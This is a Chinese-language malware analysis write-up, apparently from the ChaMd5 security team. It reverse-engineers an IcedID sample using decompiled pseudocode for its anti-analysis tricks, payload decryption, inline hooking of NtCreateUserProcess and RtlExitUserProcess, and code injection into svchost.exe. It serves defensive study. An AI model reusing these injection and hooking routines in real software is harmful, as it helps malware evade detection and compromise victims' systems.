前几天查看MalwareBazaar恶意软件排名第一的恶意软件,发现当天最高的是ICEID。进一步搜索发现,该病毒在4月份活跃过。于是去app.any.run上面寻找了样本,学习一下
初步静态分析
32位GUI程序,并且会使用-q=569957503
执行自身
IDA加载一下,发现wWinMain有很多干扰动态分析的代码
if ( v17 == 0x23C91B )
{
FindNextFileW(0, &FindFileData);
EndUpdateResourceA(0, 0);
DeleteFileA(0);
TransparentBlt(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
sprintf(Buffer, "%s %c", "howejaxi koxa", 87);
v14 = 0;
v15 = 0;
v16 = 0;
wprintf(L"bexovecisukamopebe busacegunategi");
fopen(0, 0);
sub_416094((int)&v14);
}
for ( i = 0; ; ++i )
{
GetTickCount();
if ( i > 826999 )
break;
}
hModule = LoadLibraryW(L"kernel32.dll");
v5 = 0;
while ( 1 )
{
LastError = GetLastError();
if ( v5 > 15076057 && (_BYTE)v15 != 105 && v18 != 377720291 && LastError == 346 )
break;
if ( ++v5 >= 239749941 )
goto LABEL_15;
}
例如:打开不存在的文件,删除不存在的文件,进行无用分支判断,拖延时间等
然后获取了某些Windows API的地址
do
{
if ( v8 == (char *)&unk_516C56 )
v7 = dword_441410;
++v8;
}
while ( (int)v8 < (int)&unk_55BD1C );
dwBytes = v7 + 407737;
dword_BE1460 = (int (*)(void))GlobalAlloc(0, v7 + 407737);
GlobalAlloc(0, dwBytes);
v9 = dword_441404;
v10 = 0;
dword_BE1464 = dword_441404;
if ( dwBytes )
{
while ( 1 )
{
*((_BYTE *)dword_BE1460 + v10) = *(_BYTE *)(v9 + v10 + 0x638B9);
if ( ++v10 >= dwBytes )
break;
v9 = dword_BE1464;
}
}
sub_4150D4(&dword_BE1460, &dwBytes);
*(_DWORD *)Buffer = 'triV';
dword_442A64 = (int)&unk_6C6175;
v11 = &Buffer[strlen(Buffer)];
v13 = hModule;
*(_DWORD *)v11 = 'torP';
*((_DWORD *)v11 + 1) = &unk_746365;
VirtProt = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v13, Buffer);
((void (*)(void))sub_415C93)();
sub_415B7A(&unk_441000);
dword_BE1460 = (int (*)(void))((char *)dword_BE1460 + 1060);
sub_415CAE();
其中有一个似乎是VirtualProtect的的地址,并且sub_415C93调用了VirtualProtect。所以有可能有代码解密行为
具体获取还要看动态分析
初步动态分析
在GetProcAddress下断点,确实是获取了VirtualProtect的地址
然后将Alloc申请的区域变为可执行
其中sub_415D04向申请的区域存储了一些数据,sub_415B7A进行了一个解密
void __usercall sub_415A62(int a1@<edx>, int a2@<ecx>, unsigned int a3@<ebx>)
{
int i; // esi
for ( i = 0; i < a1; qword_BE6CF8 = 0xFFFFFFFFFC7352EEui64 )
{
*(_BYTE *)(i + a2) ^= sub_4159CC();
if ( a1 == 1609 )
{
a3 = 293915114;
dword_BE6D00 = 0;
dword_BE6D04 = 0;
}
dword_BE6D08 = 0xAA6D9B4E;
a3 = a3 >> 9 << 24;
++i;
}
}
sub_415CAE调用了IPAddress中的代码
依然是代码解密,最后到一个长jmp
这里就跳转到真实入口
DUMP此时的程序,跟踪一下
IDA打开,手动修复一下IAT表,得到start函数
payload分析
void __cdecl __noreturn start()
{
const CHAR *CommandLineA; // esi
int v1; // esi
CommandLineA = (const CHAR *)getCommandLineA();
if ( sub_401140(CommandLineA) )
{
sub_40124A();
}
else if ( sub_4013CF(CommandLineA) )
{
v1 = sub_4011BE();
if ( v1 )
{
Sleep_0(0x3E8u);
sub_4012E9(v1);
}
}
ExitProcess_0(0);
}
首先判断了一下命令行参数,
sub_401140
PSTR __cdecl sub_401140(const CHAR *a1)
{
PSTR result; // eax
int v2; // eax
PSTR v3; // esi
DWORD EnvironmentVariableA; // edi
CHAR Name[32]; // [esp+0h] [ebp-20h] BYREF
result = StrStrA(a1, "-q=");
if ( result )
{
v2 = StrToIntA(result + 3);
wsprintfA(Name, "%u", v2);
result = (PSTR)sub_401E01(2280);
v3 = result;
if ( result )
{
EnvironmentVariableA = GetEnvironmentVariableA(Name, result, 0x8E8u);
if ( EnvironmentVariableA )
EnvironmentVariableA = j_hex2int((int)v3, 1108, &dword_403000);
sub_401E3D((int)v3);
return (PSTR)EnvironmentVariableA;
}
}
return result;
}
将-q=
后面的字符串转化成数字,实际上就是判断有没有-q=
这个参数,并且参数是数字
如果没有q=
int __cdecl sub_4013CF(const CHAR *a1)
{
PSTR v1; // eax
int result; // eax
v1 = StrStrIA(a1, " /p=");
if ( v1 )
dword_403450 = StrToIntA(v1 + 4);
result = sub_401470();
if ( result )
{
sub_4015A9();
GetModuleFileNameW_0(0, (LPWSTR)&dword_403144, 0x104u);
sub_401E15((int)dword_403350, (char *)dword_404098, 256);
return 1;
}
return result;
}
尝试获取文件名,如果获取成功就返回1
sub_4011BE
int sub_4011BE()
{
int result; // eax
int v1; // edx
_BYTE *v2; // ecx
unsigned int i; // esi
int v4; // eax
result = sub_401E01(2218);
v1 = result;
if ( result )
{
v2 = (_BYTE *)result;
for ( i = 0; i < 0x454; ++i )
{
*v2 = byte_404070[*((unsigned __int8 *)&dword_403000 + i) >> 4];
v2 += 2;
v4 = *((_BYTE *)&dword_403000 + i) & 0xF;
*(v2 - 1) = byte_404070[v4];
}
*v2 = 0;
return v1;
}
return result;
}
构造了一个文件名
很长的奇怪数字0100000000000000302B557700000000702D557700000000D02E557700000000F029557700000000C0DD52770000000040B850770000000020D6537700000000503655770000000020A75B77000000005038557700000000B818000000BAB83A000000BAB850000000BAB804000D00BA8BFF558BEC838BFF558BECFF8BFF558BEC83B8C8000000BA8BFF558BEC0FB8E8000C00BA00000000010000000000000060D08492F87F0000A0D48492F87F000060D78492F87F0000E0CD8492F87F0000106A7C92F87F0000C01A8392F87F000080D98092F87F000050E68492F87F000020568A92F87F000050EA8492F87F00004C8BD1B818004C8BD1B83A004
BOOL __cdecl sub_4012E9(const CHAR *a1)
{
unsigned __int64 v1; // rax
const CHAR *CommandLineA; // eax
CHAR CommandLine[260]; // [esp+Ch] [ebp-168h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+110h] [ebp-64h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+154h] [ebp-20h] BYREF
CHAR Name[16]; // [esp+164h] [ebp-10h] BYREF
v1 = __rdtsc();
wsprintfA(Name, "%u", (_DWORD)v1);
CommandLineA = (const CHAR *)getCommandLineA();
lstrcpyA(CommandLine, CommandLineA);
lstrcatA(CommandLine, " -q=");
lstrcatA(CommandLine, Name);
sub_40200C(&StartupInfo, 0, 68);
StartupInfo.cb = 68;
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
SetEnvironmentVariableA(Name, a1);
return CreateProcessA(0, CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
}
最后睡一觉后在sub_401E3D中创建一个进程,奇怪数字作为环境变量(这个可以干扰分析吗)
如果有q=
int sub_40124A()
{
int result; // eax
CHAR PathName[260]; // [esp+4h] [ebp-178h] BYREF
struct _STARTUPINFOA StartupInfo; // [esp+108h] [ebp-74h] BYREF
CHAR String2[32]; // [esp+14Ch] [ebp-30h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [esp+16Ch] [ebp-10h] BYREF
cpy_svchost(String2);
result = sub_401D08(NtCreateUserProcess, (int)sub_4010B7);
if ( result )
{
SetSystemDirectoryA(PathName, 260);
sub_40200C(&StartupInfo, 0, 68);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
SetCurrentDirectoryA(PathName);
lstrcatA(PathName, String2);
StartupInfo.cb = 68;
return CreateProcessA(0, PathName, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
}
return result;
}
首先复制一个字符串
然后进行了一个inline hook,让NtCreateUserProcess
首先跳转到sub_4010B7
int __cdecl sub_401D08(int a1, int a2)
{
int result; // eax
int v3; // edi
int v4; // [esp+8h] [ebp-4h] BYREF
result = sub_401761(-1, a1, 5, 64, &v4);
v3 = result;
if ( result )
{
*(_BYTE *)a1 = -23;
*(_DWORD *)(a1 + 1) = a2 - a1 - 5;
sub_401761(-1, a1, 5, v4, &v4);
return v3;
}
return result;
}
sub_401761
中调用了ZwProtectVirtualMemory
修改内存属性
在下面的创建进程CreateProcessA中,CreateProcess首先会调用NtCreateUserProcess,从而调用sub_4010B7
int __thiscall sub_4010B7(
void *this,
_DWORD *a2,
int a3,
int a4,
int a5,
int a6,
int a7,
int a8,
int a9,
int a10,
int a11,
int a12)
{
int result; // eax
void *v13; // [esp+0h] [ebp-4h] BYREF
v13 = this;
if ( !sub_401DB6((int)NtCreateUserProcess, (int)&word_403082) )
return 0xC0000001;
result = NtCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
if ( !result )
{
if ( sub_40138E(&a12, &v13) )
return sub_4017A5(*a2, a12) != 0 ? 0 : 0xC0000001;
else
return -1073741823;
}
return result;
}
首先unhook,调用原NtCreateUserProcess,然后在sub_40138E中进行一个代码解压,sub_4017A5中将代码注入到svchost.exe
int __cdecl sub_4017A5(int a1, int a2)
{
int v2; // esi
int v3; // ebp
_DWORD *v4; // eax
int v6; // [esp+Ch] [ebp-10h] BYREF
int v7; // [esp+10h] [ebp-Ch]
int v8; // [esp+14h] [ebp-8h]
int v9; // [esp+18h] [ebp-4h]
v2 = 0;
v6 = a1;
v7 = 0;
v8 = 0;
v9 = a2;
v3 = NtAllocateVirtualMemory(a1, 84, 4);
if ( v3 )
{
v2 = NtAllocateVirtualMemory_0(&v6);
if ( !v2
|| (v4 = (_DWORD *)(v7 + *(_DWORD *)(v9 + 16))) != 0
&& ((*v4 = v3, (v2 = sub_4019A9(&v6)) == 0)
|| (v2 = sub_401D54(a1, 0, v8 + *(_DWORD *)(v9 + 12))) == 0
|| (v2 = ZwWriteVirtualMemory(a1, v3, &dword_403000, 1108)) == 0) )
{
GetLastError_0();
}
if ( v7 )
sub_401E3D(v7);
}
else
{
GetLastError_0();
}
return v2;
}
sub_4019A9中执行代码注入
int __cdecl sub_4019A9(int *a1)
{
int *v1; // esi
int result; // eax
unsigned int v3; // edi
int v4; // ebx
v1 = a1;
result = ZwWriteVirtualMemory(*a1, a1[2], a1[1], *(_DWORD *)(a1[3] + 8));
if ( result )
{
v3 = 0;
if ( *(_DWORD *)(v1[3] + 32) )
{
v4 = 0;
do
{
NtProtectVirtualMemory(
*v1,
v1[2] + *(_DWORD *)(v4 + v1[3] + 36),
*(_DWORD *)(v4 + v1[3] + 40),
*(unsigned __int8 *)(v4 + v1[3] + 52),
(int)&a1);
v4 += 17;
++v3;
}
while ( v3 < *(_DWORD *)(v1[3] + 32) );
}
return 1;
}
return result;
}
sub_401D54 hook了RtlExitUserProcess
BOOL __cdecl sub_401D54(int a1, int a2, int a3)
{
BOOL result; // eax
int v4; // esi
char v5; // [esp+0h] [ebp-Ch] BYREF
int v6; // [esp+1h] [ebp-Bh]
int v7; // [esp+8h] [ebp-4h] BYREF
result = NtProtectVirtualMemory(a1, a2, 5, 4, (int)&v7);
if ( result )
{
v5 = -23;
v6 = a3 - a2 - 5;
v4 = ZwWriteVirtualMemory(a1, a2, &v5, 5);
NtProtectVirtualMemory(a1, a2, 5, v7, (int)&v7);
return v4;
}
return result;
}
注入svchost的代码分析
由于在Win10虚拟机分析时导致内存错误,这里只根据参考资料概述行为
注入主要有两处,一处是位于data段的系统API和加密后的C2服务器
从C2服务器获取payload,并且通过特定的算法生成RC4密钥加密数据。通过多线程协作执行和C2服务器交互等功能,并且依然进行了几次内存注入。
总结
该病毒采用了多种反调试/反分析方法,例如代码加密、进程注入等。分析过程较为复杂。
参考
[1] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one
[2] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two
[3] https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):ICEID恶意软件分析